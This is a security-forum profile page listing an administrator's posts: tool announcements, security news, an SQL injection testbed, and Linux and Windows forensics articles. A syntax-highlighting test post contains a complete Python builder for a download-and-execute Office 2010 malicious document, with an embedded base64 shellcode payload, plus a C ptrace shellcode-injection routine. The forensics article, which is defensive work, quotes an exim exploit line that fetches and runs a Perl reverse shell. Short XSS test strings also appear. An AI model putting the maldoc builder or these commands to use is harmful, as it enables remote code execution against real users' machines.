Jump to content

Nytro

Administrators
  • Posts

    18753
  • Joined

  • Last visited

  • Days Won

    726

Everything posted by Nytro

  1. Nytro

    PE-bear

    [h=2]PE-bear[/h] [h=2]What it is?[/h] PE-bear is my new project. It’s a reversing tool for PE files. [h=2]Download[/h] The latest version is 0.1.5 (beta), released: 14.07.2013 changelog.txt changelog.pdf Avaliable here: PE-bear 0.1.5 32bit PE-bear 0.1.5 64bit *requires: Microsoft Visual C++ 2010 Redistributable Package, avaliable here: Redist 32bit Redist 64bit [h=2]Features and details[/h] handles PE32 and PE64 views multiple files in parallel recognizes known packers (by signatures) fast disassembler – starting from any chosen RVA/File offset visualization of sections layout selective comparing of two chosen PE files integration with explorer menu and more… Currently project is under rapid development. You can expect new fetaures/fixes every week. Any sugestions/bug reports are welcome. I am waiting for your e-mails and comments. [h=2]Screenshots[/h] Sursa: PE-bear | hasherezade's 1001 nights
  2. 59b63a G 5af3107aba69 G 0 G 46 He explained that, in above string, “G“ acting as a delimiter/separator, where 2nd value after first “G“ i.e 5af3107aba69 is the Profile ID of user. Replacing user ID can give expose email ID of any user in Sign Up Page. Attacker can obtain this numerical ID of facebook profile from Graph API. Superb
  3. https://rstforums.com/forum/70576-facultati-de-informatica.rst
  4. M-am chinuit degeaba sa scriu: https://rstforums.com/forum/70576-facultati-de-informatica.rst
  5. [h=1]Feds asked to avoid Def Con hacking conference after PRISM scandal[/h]by Dan Worth The organisers of the US hacking conference Def Con have asked federal agents to stay away from this year's event given the revelations about the PRISM hacking scandal that broke earlier this year, generating huge levels of mistrust among the hacking community. Writing under his alias The Dark Tangent on the event’s website, organiser Jeff Moss said in the past the open nature of Def Con had been its greatest asset and a reason why the event had proved so popular. “For over two decades Def Con has been an open nexus of hacker culture, a place where seasoned pros, hackers, academics, and feds can meet, share ideas and party on neutral territory,” he wrote. “Our community operates in the spirit of openness, verified trust, and mutual respect.” However, he said that this year it would be sensible if a line was drawn and agents did not attend, as emotions would be running high about the extent of surveillance carried out by the government under the PRISM data collection scheme. “When it comes to sharing and socialising with feds, recent revelations have made many in the community uncomfortable about this relationship,” Moss added. “Therefore, I think it would be best for everyone involved if the feds call a ‘time-out’ and not attend DEF CON this year.” He added that this would give everybody “time to think about how we got here, and what comes next." Earlier this week the European Commission (EC) approved an investigation into the PRISM spying scandal, which also led to claims that government offices had been bugged in order to pry into conversations between world leaders. Sursa: Feds asked to avoid Def Con hacking conference after PRISM scandal - IT News from V3.co.uk
  6. Cocalarii Internetului.
  7. Pix cu Linux, doar in pix-uri nu mai bagasera astia Linux
  8. E deja cel din vBulletin. Sa vad daca se poate schimba. [ phpcode ] <?php if($_POST['formSubmit'] == "Submit") { $varMovie = $_POST['formMovie']; $varName = $_POST['formName']; } ?> <form action="myform.php" method="post"> Which is your favorite movie? <input type="text" name="formMovie" maxlength="50" value="<?=$varMovie;?>"> What is your name? <input type="text" name="formName" maxlength="50" value="<?=$varName;?>"> <input type="submit" name="formSubmit" value="Submit"> </form> Nu se poate schimba, cel putin pana acum nu pare sa mearga, desi i-am dat Disable. Folositi "phpcode". Info: Dublu click pe cod pentru a da Copy.
  9. Am pus syntax highlight si pe celelalte template-uri.
  10. S-a apucat cineva de proiect? Daca nici cand e vorba de bani nu faceti nimic...
  11. Testat pe Firefox, Chrome, IE si merge ok. Da, ar trebui sa apara colorata, la mine e totul ok. Vezi Tools > Developer > Web console si erorile de JS sau Net. PS: DOAR TEMA RST! Nu merge pe tema Default, deocamdata.
  12. E prima incercare de a pune syntax highlight pe forum. Sper sa fie ok. Deocamdata nu e complet functional: la Edit Post/Quick reply post nu vor aparea colorate, sper sa rezolv asta maine. Cum folositi: [limbaj] COD [/limbaj] Unde limbaj poate fi: - Java - Cpp - Bash - CSharp - CSS - Delphi - Diff - JS - Perl - Plain - Python - SQL - VB - XML Pentru PHP folositi "phpcode", PHP exista deja in vBulletin. Exemplu (fara spatii): [ CPP ]#include "stdio.h" int main() { puts("Syntax highlight!"); return 0; } [ /CPP ] Rezultat: #include "stdio.h"int main() { puts("Syntax highlight!"); return 0; } Exemple reale: CPP: void putcode(unsigned long * dst){ char buf[MAXPATHLEN + CODE_SIZE]; unsigned long * src; int i, len; memcpy(buf, cliphcode, CODE_SIZE); len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); if (len == -1) fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE; buf[len++] = '\0'; src = (unsigned long*) buf; for (i = 0; i < len; i += 4) if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) fatal("[-] Unable to write shellcode"); } Python: import binasciiimport sys import time print "Microsoft Office 2010, download -N- execute " print " What do you want to name your .doc ? " print " Example: TotallyTrusted.doc " filename = raw_input() print " What is the link to your .exe ? " print "HINT!!:: Feed me a url. ie: http://super/eleet/payload.exe " url = raw_input() print "Gears and Cranks working mag1c in the background " time.sleep(3) close="{}}}}}" binme=binascii.b2a_hex(url) file=('e1xydGYxbnNpbnNpY3BnMTI1MlxkZWZmMFxkZWZsYW5nMTAzM3sNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb250dGJsew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN3aXNzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGFyc2V0MCBBcmlhbDt9fXtcKlxnZW5lcmF0b3IgTXNmdGVkaXQgNS40MS4xNS4xNTA3O30NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlld2tpbmQ0XHVjMVxwYXJkDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHMyMCBwYXJkXGYwXGZzXHBhci90YWJccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhclxwYXJ7XHNocHtcc3B9fXtcc2hwe1xzcH19e1xzaHB7XHNwfX17XHNocHtcKlxzaHBpbnN0XHNocGZoZHIwXHNocGJ4Y29sdW1uXHNocGJ5cGFyYVxzaCBwd3IyfXtcc3B7XHNue317fXtcc259e1xzbn17XCpcKn1wRnJhZ21lbnRzfXtcKlwqXCp9e1wqXCpcc3Z7XCp9OTsyO2ZmZmZmZmZmZmYjMDUwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwZTBiOTJjM2ZBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBNWMxMTEwM2ZhNTljMzgzZmNmYWYzOTNmMTAwMTA0MDEwMTAxMDEwMTAxMDEwMTAxZTBiOTJjM2YwMDgwMDAwMDQ2Y2IzOTNmZGVhZGJlZWZlMGI5MmMzZmMwM2QzYjNmY2MzMzIyM2ZkZjU5MmQzZmM0M2QzYjNmY2MxODJmM2ZjNDNkM2IzZjVlNzQyYjNmNWU3OTM5M2YyNDAwMDAwMDQ0Y2IzOTNmc2x1dGZ1Y2s2NzgyMzkzZmRlMTYzYTNmNjc4MjM5M2ZlMGI5MmMzZmMwM2QzYjNmYTU5YzM4M2Y3YzBhMmIzZmUwYjkyYzNmNTU2Njc3ODhjMDNkM2IzZmE1OWMzODNmZmJiZTM4M2ZlMGI5MmMzZjgwMDAwMDAwYjQ0MTM0M2Y1NTU1NTU1NTY2NjY2NjY2Y2ZhZjM5M2Y0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxNDE0MTQxZWI3NzMxYzk2NDhiNzEzMDhiNzYwYzhiNzYxYzhiNWUwODhiN2UyMDhiMzY2NjM5NGYxODc1ZjJjMzYwOGI2YzI0MjQ4YjQ1M2M4YjU0MDU3ODAxZWE4YjRhMTg4YjVhMjAwMWViZTMzNDQ5OGIzNDhiMDFlZTMxZmYzMWMwZmNhYzg0YzA3NDA3YzFjZjBkMDFjN2ViZjQzYjdjMjQyODc1ZTE4YjVhMjQwMWViNjY4YjBjNGI4YjVhMWMwMWViOGIwNDhiMDFlODg5NDQyNDFjNjFjM2U4OTJmZmZmZmY1ZjgxZWY5OGZmZmZmZmViMDVlOGVkZmZmZmZmNjg4ZTRlMGVlYzUzZTg5NGZmZmZmZjMxYzk2NmI5NmY2ZTUxNjg3NTcyNmM2ZDU0ZmZkMDY4MzYxYTJmNzA1MGU4N2FmZmZmZmYzMWM5NTE1MThkMzc4MWM2ZWVmZmZmZmY4ZDU2MGM1MjU3NTFmZmQwNjg5OGZlOGEwZTUzZTg1YmZmZmZmZjQxNTE1NmZmZDA2ODdlZDhlMjczNTNlODRiZmZmZmZmZmZkMDYzNmQ2NDJlNjU3ODY1MjAyZjYzMjAyMDYxMmU2NTc4NjUwMA==\n') textfile = open(filename , 'w') textfile.write(file.decode('base64')+binme+close) textfile.close() time.sleep(3) print "enjoy" E posibil sa fie si alte probleme, verificati daca este totul in regula si postati aici daca e vreo problema.
  13. Da, l-am vazut, this is the real shit!
  14. Nytro

    SQLol

    SQLol Released at Austin Hackers Association meeting 0x3f Daniel Crowley <dcrowley@trustwave.com> http://www.trustwave.com INTRODUCTION ============ ***WARNING: SQLol IS INTENTIONALLY VULNERABLE. DO NOT USE ON A PRODUCTION WEB SERVER. DO NOT EXPOSE SQLol IN AN UNTRUSTED ENVIRONMENT.*** SQLol is a configurable SQL injection testbed. SQLol allows you to exploit SQL injection flaws, but furthermore allows a large amount of control over the manifestation of the flaw. To better understand why SQLol exists, please read the sonnet below: I humbly posit that the current state (With much respect to work which does precede) Of test-beds made with vulns to demonstrate Is lacking some in flexibility. Two options are presented present-day, As far as when one deals with S-Q-L: A blind injection (bool or time delay) And UNION statement hax (oh gee, how swell…) Imagine we could choose how queries read And how our input sanitizes, oh! How nimble and specific we could be To recreate our ‘sploit scenarios. And thus is S-Q-L-O-L conceived: That we can study how to pwn DBs. Options: Type of query Location within query Type and level of sanitization Level of query output Verbosity of error messages Visibility of query Injection string entry point Other cool things: Reset button Challenges Support for multiple database systems REQUIREMENTS ============ PHP 5.x Web server Database server (MySQL, PostgreSQL and SQLite have been tested, others may work) ADODB library (included) USAGE ===== Place the SQLol source files on your Web server and open in a Web browser. Modify the configuration file #sqlol_directory#/includes/database.config.php to point to your installed database server. Use the resetbutton.php script to write the SQLol database, then start playing! COPYRIGHT ========= SQLol - A configurable SQL injection testbed Daniel "unicornFurnace" Crowley Copyright © 2012 Trustwave Holdings, Inc. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/> Download: https://github.com/SpiderLabs/SQLol
  15. ', null, 123, null); alert('Pufuleti');
  16. Test " < > ' plm \ / ()
  17. Nytro

    Parole si PM-uri.

    In limita timpului disponibil...: 1. Two-factor auth 2. Validare certificat self-signed
  18. Prea complex, ma interesa doar algoritmul NTLM.
  19. Getting Started with Linux Memory Forensics Posted by Chad Tilbury Filed under Linux IR, Memory Analysis, Volatility Like many of you, I have been watching the development of memory forensics over the last two years with a sense of awe. It is amazing how far the field has come since the day Chris Betz, George Garner and Robert-Jan Moral won the 2005 DFRWS forensics challenge. Of course, similar to other forensic niches, the majority of progress has been made on Windows memory forensics. There is good reason for this. Memory can be extremely fickle, with layouts and structures changing on a whim. As an example, the symbols file for Windows 7 SP1x86 is 330MB, largely due to it needing to support major changes that can occur in every service pack and patch. The fact that we have free tools such as Volatile Systems Volatilityand Mandiant Redlinesupporting memory images of arbitrary size from (nearly) every modern version of Windows is nothing short of miraculous. Nowhere is it more obvious how far the memory analysis field has come than looking at the recent innovations in Mac and Linux memory forensics. Examiners of these less popular platforms have had to sit patiently for years as Windows memory forensics moved from being feasible for OS internals experts to being approachable for the masses. Against all odds, Linux memory analysis has recently seen rapid innovations. If support for the various Windows versions came slowly, imagine the complexity posed by the myriad flavors of Linux and the long list of possible kernel versions. It turns out that the Volatility framework is particularly well suited to tackle this Hydra with its abstraction layers facilitating everything from different image formats to swappable OS profiles to rapid plugin development. Getting Started — SVN Checkout I recommend upgrading to (at least) version 2.3 of Volatility when getting familiar with Linux memory. The 2.3 plugins are still in beta, but there have been some significant improvements that greatly facilitate analysis. Adding the latest version is easy via subversion checkout. For instance, in the SANS SIFT workstation, you can run the following commands: mkdir /usr/local/src/vol2.3-devsvn checkout http://volatility.googlecode.com/svn/branches/2.3-devel /usr/local/src/vol2.3-dev/ ln -s /usr/local/src/vol2.3-dev/vol.py /usr/local/bin/voldev.py voldev.py --info Creating a profile The only significant hurdle to performing Linux memory analysis in Volatility is the requirement to create a bespoke profile for the flavor of Linux with which you are working. Creating a profile is surprisingly easy -- a great testament to the flexibility of the framework. If you work in a pseudo-homogeneous environment you may only need to pre-build a few profiles to cover the systems you are likely to encounter. If you don't have the luxury of pre-building profiles, the steps can easily be scripted and included in your incident response scripts (runaftermemory acquisition and substituting the Subversion checkout of Volatility with just the files necessary to run the "make" command).The Volatility wiki does an excellent job of describing the profile creation process, and the default Volatility SVN checkout contains the tools you need. In my case, I was interested in working with an older version of Debian because I wanted to redo Challenge 7 of the Honeynet Project Forensic Challenge 2011. While 2011 isn't that long ago, it might as well be ancient times for fast moving Linux distributions. Getting a running copy of the Debian 5 (Lenny) distribution took a few extra steps than would ordinarilyhave been required of a more modern distribution. Here was my process: Download the correct distribution being mindful of kernel version and architecture Run "uname -a" or read the dmesg log on a live system. If you only have a memory image, strings can identify the correct distribution and kernel version. The system type for the Honeynet challenge was Debian 5 2.6.26 kernel x86 Install the distribution into a virtual machine (VM) Due to the age of the distribution, the default update mirrors were no longer supported. This required modifying /etc/apt/sources.list to point to the archive servers at Index of / The repository misalignment resulted in a very minimal Linux install. With apt now pointing to the correct archive, I ran apt-get update and apt-get install debian-archive-keyringto include some of the basic packages Watch for attempts by the distribution to auto-upgrade (and do not run apt-get upgrade) Install Subversion in the VM and download Volatility apt-get install subversion-tools svn checkout volatility - Revision 3452: /trunk /usr/local/src/volatility/ Create the kernel data structures file using dwarfdump My minimal installation required several additional packages: apt-get install make apt-get install linux-headers-$(uname -r) apt-get install dwarfdump [*]./usr/local/src/volatility/tools/linux/make Locate the kernel symbol file In this case the full path was /boot/System.map-2.6.26-2-686 Zip up your results and move to your forensic workstationThe final result should be a module.dwarf file and a "System.map" symbol file located within a zip archive. This zip archive must be copied to the overlays/linux folder within the Volatility distribution you intend to use. The --info command will display all recognized profiles. Starting the Analysis I found the 2011 Honeynet Challenge interesting because the winner, Dev Anand, and several others successfully used early versions of Linux memory analysis to help solve it. I was interested in gauging how far the state of the art had progressed since then. Simply put, the Volatility project has truly taken Linux analysis to the next level, with 40 plugins in version 2.3 providing vast capabilities that simply did not previously exist. Many of the questions that previously required access to the system disk can now be answered just as easily from the memory image. I'll use the challenge to demonstrate some of the plugins.linux_netstat Processes and network connections are the first things I review when starting analysis of a new memory image. In this case the linux_netstat plugin identifies two interesting established connections to IP address 192.168.56.1 using ports 4444 and 8888. The connections are tied to processes named "sh" and "nc". Further, we see a couple of interesting listening daemons: sshd on port 22 and exim4 on port 25. linux_psaux The linux_psaux plugin augments the standard process listing with command line information. While not terribly helpful here, the output does tend to reinforce that "nc" may in fact be a netcat binary. NOTE: You only need to set the VOLATILITY_PROFILE environment variable once, but it is included in each of the examples as a reminder that the demonstrated plugins require a Linux profile variable set or included via the --profile parameter. linux_yarascan The Volatility yarascan plugins for Windows, Mac, and now Linux leverage open-source yara signatures to provide a simple and powerful means to search user and kernel memory. In this example I was simply looking for the suspicious IP address string from the linux_netstat command, but keep in mind that an entire rules file could have been used. The first hit (found within process rsyslogd) could be a partial log entry related to a SSH login, which should be possible to verify within the /var/log/auth.log. This log could be found and exported using the linux_find_file Volatility plugin, but, in this case, it does not appear to be resident in memory. A review of the auth.log on disk shows several related failed logins from 192.168.56.1 via SSH: Feb 6 15:20:54 victoria sshd[2157]: Failed none for invalid user ulysses from192.168.56.1 port 44616 ssh2 The second and third yarascan hits displayed look like commands or related output. Since the hits were found in the bash process (PID 2042), the bash command line history would be worth reviewing.linux_bash The linux_bash plugin is a particularly impressive plugin as it carves out individual bash history entries and reassembles them for analysis. If bash history exists, it can provide a very in-depth view into user activity. In this case we see a lot of strange activity surrounding the exim server as well as attempts to copy the entire sda drive, sda1 partition and memory over to the suspicious IP addresses. A challenge in this investigation would be differentiating legitimate system administration actions from hacker activity. Given the manipulations surrounding exim, a logical next step might be to review the exim logs in /var/log/exim4. The /var/log/exim4/mainlog recorded several errors referencing the previously discovered suspicious IP address and ports as well as multiple wget attempts to download files into the /tmp folder: 2011-02-06 15:08:13 H=(abcde.com) [192.168.56.101] temporarily rejected MAIL <root@local.com>: failed to expand ACL string "pl 192.168.56.1 4444; sleep 1000000'"}} ${run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/c.pl -O /tmp/c.pl;perl /tmp/c.pl 192.168.56.1 4444; sleep 1000000'"}} ... linux_dentry_cache To improve file system performance, Linux caches directory entries and inode information as files are opened. The linux_dentry_cache Volatility plugin returns the contents of the directory entry cache, giving examiners a detailed view of the most recently referenced files in the file system. In this case, I used the plugin in an attempt to identify whether the attacker succeeded in downloading tools to the /tmp directory. It appears that the attacker was eventually successful in retrieving the c.pl file. Further, the rk.tar archive looks interesting and should be analyzed. Conclusion Linux memory forensics has definitely come of age, and I highly recommend including it in your incident response process. Volatility makes it easy to get started. You can find the memory image demonstrated here at the Honeynet Projectand download the Debian profile created for this post here. When you are done working with that image, Raytheon SecondLook provides a large selection of both clean and infected memory images. Finally, as you create new Linux profiles, please consider donating them back to the Volatility Linux profiles page. Sursa: Getting Started with Linux Memory Forensics
  20. Root SSH Key Shipping with Emergency Alert System Devices Exposed by Michael Mimoso Firmware images for the application servers that distribute messages for the Emergency Alert System in the United States are shipping with a private root SSH key that has been disclosed. Hackers who have this key can access one of these servers and interrupt or manipulate an EAS message. The EAS is a system that enables, in a worst-case scenario, the president to speak to the nation within 10 minutes of a disaster over radio and television. In February, ENDEC machines at a Montana television station were accessed by hackers and broadcast a phony emergency alert warning of a zombie apocalypse. DHS’ ICS-CERT issued an alert last week warning that Digital Alert Systems’ DASDEC and Monroe Electronics One-Net E189 EAS devices were shipping a compromised shared private root SSH key in publicly available firmware images. The vulnerabilities in the DASDEC application serversmwere reported by IOActive principal research scientist Mike Davis. The servers authenticate EAS messages and interrupt broadcasts with the familiar alert tone that accompanies emergency messages. “These DASDEC application servers are currently shipped with their root privileged SSH key as part of the firmware update package. This key allows an attacker to remotely log on in over the Internet and can manipulate any system function,” Davis said in a statement. “For example, they could disrupt a station’s ability to transmit and could disseminate false emergency information. For any of these issues to be resolved, we believe that re-engineering needs to be done on the digital alerting system side and firmware updates to be pushed to all appliances.” The compromised SSH keys ship in the firmware images for the Linux-based DASDEC-I and DASDEC-II appliances. An attacker can use the key to log in over the Internet and impact emergency messages delivered to an undetermined number of locations and stations. Depending on the device configuration, IOActive said, manipulated messages could be sent to other DASDEC systems. According to an IOActive advisory, the publicly available SSH key can be removed only by a root privileged user on the server. An attacker with access can also view the server logs, which includes machine information, administrator data and other sensitive data. In addition, DHS CERT said the administrative Web server generates predictable session ID passwords that could also allow an attacker to own an admin dashboard. The DASDEC and One-Net ENDEC machines also ship with default administrative credentials that some sites neglect to change. As far as mitigations go, Monroe Electronics and Digital Alert Systems updated their firmware in April disabling the compromised SSH key. There are also simplified means of installing new unique keys and a new password policy. Until a new image is obtained and installed, users are urged to disable the compromised root SSH key immediately, especially if it is Web-enabled. DHS CERT said that if users are unable to replace the SSH root key, they should restrict access to trusted hosts and networks, and change all default passwords. Sursa: EAS Devices Shipping with Compromised Root SSH Key | Threatpost
  21. [h=3]HowTo: Determine Program Execution[/h] Sometimes during an examination, it can be important to determine what programs have been executed on a system, and more specifically, when and by which user. Some of the artifacts on a system will provide us with indications of programs that have been executed, while others will provide information about which user launched the program, and when. As such, some of this information can be included in a timeline. Hopefully, something that will become evident throughout this post, as well as other HowTo posts, is that rather than focusing on individual artifacts, we're going to start putting various artifacts into "buckets" or categories. The purpose for doing this is so that analysts don't get lost in a sea of artifacts, and are instead able to tailor their initial approach to an examination, possibly using an analysis matrix. Okay, let's get started... AutoStart Locations Before we begin to look at the different artifacts that can be directly tied to a user (or not), I wanted to briefly discuss autostart locations. These are locations within the system...file system, Registry...where references to programs can reside that allow programs to be executed automatically, without any interaction from the user beyond booting the system or logging in. There are a number of such locations and techniques that can be used...Registry autostart locations, including the ubiquitous Run key, Windows services, the StartUp folder on the user's Program Menu, and even the use of the DLL Search Order functionality/vulnerability. Each of these can be (and have been) discussed in multiple blog posts, so for now, I'm simply going to present them here, under this "umbrella" heading, for completeness. Scheduled Tasks can be, and are, used as an autostart location. Many of us may have QuickTime or iTunes installed on our system; during installation, a Scheduled Task to check for software updates is created, and we see the results of this task now and again. Further, on Windows 7 systems, a Scheduled Task creates backups of the Software, System, Security, and SAM hive files into the C:\Windows\system32\config\RegBack folder every 10 days. When considering autostart locations, be sure to check the Scheduled Tasks folder. Tip On a live system, you need to use both the schtasks.exe and at.exe commands to get a complete listing of all of the available Scheduled Tasks. Tools: RegRipper plugins, MS/SysInternals AutoRuns; for XP/2003 Scheduled Task *.job files, jobparse.pl; on Vista+ systems, the files are XML User There are a number of artifacts within the user context that can indicate program execution. This can be very useful, as it allows analysts to correlate program execution to the user context in which the program was executed. UserAssist The contents of value data within a user's UserAssist subkeys can provide an excellent view into what programs the user has launched via the Explorer shell...by double-clicking icons or shortcuts, as well as by navigating via the Program Menu. Most analysts are aware that the value names are Rot-13 encoded (and hence, easily decoded), and folks like Didier Stevens have gone to great lengths to document the changes in what information is maintained within the value data, as versions of the operating systems have progressed from Windows 2000 to Windows 8. Tools: RegRipper userassist.pl and userassist_tln.pl plugins RunMRU When a user clicks on the Start button on their Windows XP desktop, and then types a command into the Run box that appears, that command is added to the RunMRU key. Interestingly, I have not found this key to be populated on Windows 7 systems, even though the key does exist. For example, I continually use the Run box to launch tools such as RegEdit and the calculator, but when I dump the hive file and run the runmru.pl RegRipper plugin against it, I don't see any entries. I have found the same to be true for other hives retrieved from Windows 7 systems. Tools: RegRipper runmru.pl plugin ComDlg32\CIDSizeMRU Values The binary values located beneath this key appear to contain names of applications that the user recently launched. From my experience, the majority of the content of these values, following the name of the executable file, is largely zeros, with some remnant data (possibly window position/size settings?) at the end of the file. As one of the values is named MRUListEx, we can not only see (via a timeline) when the most recent application was launched, but we can also see when other applications were launched by examining available VSCs. AppCompatFlags According to MS, the Program Compatibility Assistant is used to determine if a program needs to be run in XP Compatibility Mode. Further, "PCA stores a list of programs for which it came up...even if no compatibility modes were applied", under the Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Persisted key in the user's NTUSER.DAT hive. As such, we can query these values and retrieve a list of programs run by the user. Tools: RegRipper appcompatflags.pl plugin (I updated the plugin, originally written by Brendan Cole, to include retrieving the values beneath the Persisted key, on 6 July 2013; as such, the plugin will be included in the next rollout) MUICache The contents of this key within the user hives (NTUSER.DAT for XP/2003, USRCLASS.DAT for Win7) often contains references to applications that were launched within the user context. Often times, these application will include command line interface (CLI) utilities. Windows shortcuts/LNK files and Jump Lists You're probably thinking..."huh?" Most analysts are familiar with how shortcuts/LNK files (and Jump Lists) can be used to demonstrate access to files or external storage devices, but they can also be used to demonstrate program execution within the context of a user. Most of us are familiar with the LNK files found in the ..\Windows\Recent and ..\Office\Recent folders within the user profile...so, think about how those shortcuts are created. What usually happens is that the user double-clicks a file, the OS will read the file extension from the file, and then query the Registry to determine which application to launch in order to open the file. Windows will then launch the application...and this is where we have program execution. Many times when a user installs an application on their system, a desktop shortcut may be created so that the user can easily launch the application. The presence of the desktops icon may indicate that the user launched an installer application, and Tools: custom Perl script, tools to parse LNK files Java Deployment Cache Index (*.idx) Files The beginning of 2013 saw a lot of discussion about vulnerabilities to Java, as well as reports of 0-days, and as a result, there was a small number of folks within the community looking into the use of Java deployment cache index (*.idx) files during analysis. The use of these files as artifacts during an investigation goes back to well before then, thanks to Corey Harrell. These files provide indications of downloads to the system via Java, and in some cases, those downloads might be malicious in nature. These artifacts are related specifically to Java being executed, and may lead to indications of additional programs being executed. Further, given that the path to the files is within the user profile folder, we can associate the launch of Java with a specific user context. Tools: idxparse.pl parser Browser History A user's browser history not only indicates that they were browsing the web (i.e., executing the browser program), but the history can also be correlated to the *.idx files discussed above in order to determine which site they were visiting that caused Java to be launched. System There are a number of artifacts on the system that can provide indications of program execution Prefetch File Analysis Most analysts are aware of some of the metadata found within Prefetch files. Application prefetch files include metadata indicating when the application was last launched, as well as how many times it has been launched. This can provide some excellent information Tools: pref.pl, or any other tools/scripts that parse the embedded module strings. Recent versions of scripts I've written and use incorporate an alerting mechanism to identify items within the strings and string paths found to be "suspicious" or "unusual". AppCompatCache This value within the System hive in the Registry was first discussed publicly by Mandiant, and has proven to be a treasure trove of information, particularly when it comes to malware detection and determining program execution, in general. Tools: Mandiant's shim cache parser, RegRipper appcompatcache.pl plugin (appcompatcache_tln.pl plugin outputs in TLN format, for inclusion in timelines). Legacy_* Keys Within the System hive, most of use are familiar with the Windows services keys. What you may not realize is that there is another set of keys that can be very valuable when it comes to understanding when Windows services were run...the Enum\Root\Legacy_* keys. Beneath the ControlSet00n\Enum\Root key in the System hive, there are a number of subkeys whose names being with LEGACY_, and include the names of services. There are a number of variants of malware (Win32/Alman.NAD, for example) that install as a service, or driver, and when launched, the operating system will create the Enum\Root\Legacy_* key for the service/driver. Also, these keys persist after the service or driver is no longer used, or even removed from the system. Malware writeups by AV vendors will indicate that the keys are created when the malware is run (in a sandbox), but it is more correct to say that the OS creates the key(s) automatically as a result of the execution of the malware. This can be an important distinction, which is better addressed in another blog post. Tools: RegRipper legacy.pl plugin Direct* and Tracing Keys These keys within the Software hive can provide information regarding program execution. The "Direct*" keys are found beneath the Microsoft key, and are keys whose names start with "Direct", such as Direct3D, DirectDraw, etc. Beneath each of these keys, you may find a MostRecentApplication key, which contains a value named Name, the data of which indicates an application that used the particular graphics functionality. Many times during an exam, I'll see "iexplore.exe" listed in the data, but during one particular exam, I found "DVDMaker.exe" listed beneath the DirectDraw key. In another case, I found "mmc.exe" listed beneath the same key. I've found during exams that the Microsoft\Tracing key contains references to some applications that appear to have networking capabilities. I do not have any references to provide information as to which applications are subject to tracing and appear beneath this key, but I have found references to interesting applications that were installed on systems, such as Juniper and Kiwi Syslog tools (during incident response engagements, this can be very helpful and allow you collect Event Logs from the system that have since been overwritten, and included in a timeline...). Unfortunately, these artifacts have nothing more than the EXE name (no path or other information is included or available), but adding the information to a timeline can provide a bit of context and granularity for analysis. Tip When examining these and other keys, do not forget to check the corresponding key beneath the Wow6432Node key within the Software hive. The RegRipper plugins address this automatically. Tools: RegRipper direct.pl and tracing.pl plugins Event Logs Service Control Manager events within the System Event Log, particularly those with event IDs 7035 and 7036, provide indications of services that were successfully sent controls, for either starting or stopping the service. Most often within the System Event Log, you'll see these types of events clustered around a system start or shutdown. During DFIR analysis, you're likely going to be interested in either oddly named services, services that only appear recently, or services that are started well after a boot or system startup. Also, you may want to pay close attention to services such as "PSExeSvc", "XCmdSvc", "RCmdSvc", and "AtSvc", as they may indicate lateral movement within the infrastructure. On Windows 2008 R2 systems, I've found indications of program execution in the Application Experience Event Logs; specifically, I was examining a system that had been compromised via an easily-guessed Terminal Services password, and one of the intruders had installed Havij (and other tools) on the system. The Application-Experience/Program-Inventory Event Log contained a number of events associated with program installation (event IDs 903 and 904), application updates (event ID 905), and application removal (event IDs 907 and 908). While this doesn't provide a direct indication of a program executing, it does illustrate that the program was installed, and that an installer of some kind was run. On my own Windows 7 system, I can open the Event Viewer, navigate to the Event 